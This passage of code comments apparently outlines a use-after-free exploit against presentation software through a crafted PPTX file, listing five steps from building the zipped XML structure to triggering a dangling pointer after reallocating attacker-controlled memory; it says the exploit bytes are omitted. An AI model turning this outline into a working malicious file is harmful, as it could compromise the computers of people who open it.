# that triggers the UAF vulnerability. Actual exploit bytes are omitted for safety.

# 1. Create a standard PPTX structure (zipped XMLs)
# 2. Modify slide XML to include a specific malformed object reference
# 3. The object is freed (Object A) but a reference to it remains
# 4. Reallocate memory with attacker-controlled data (Object B)
# 5. Trigger the use of the dangling pointer to Object A (now pointing to B)
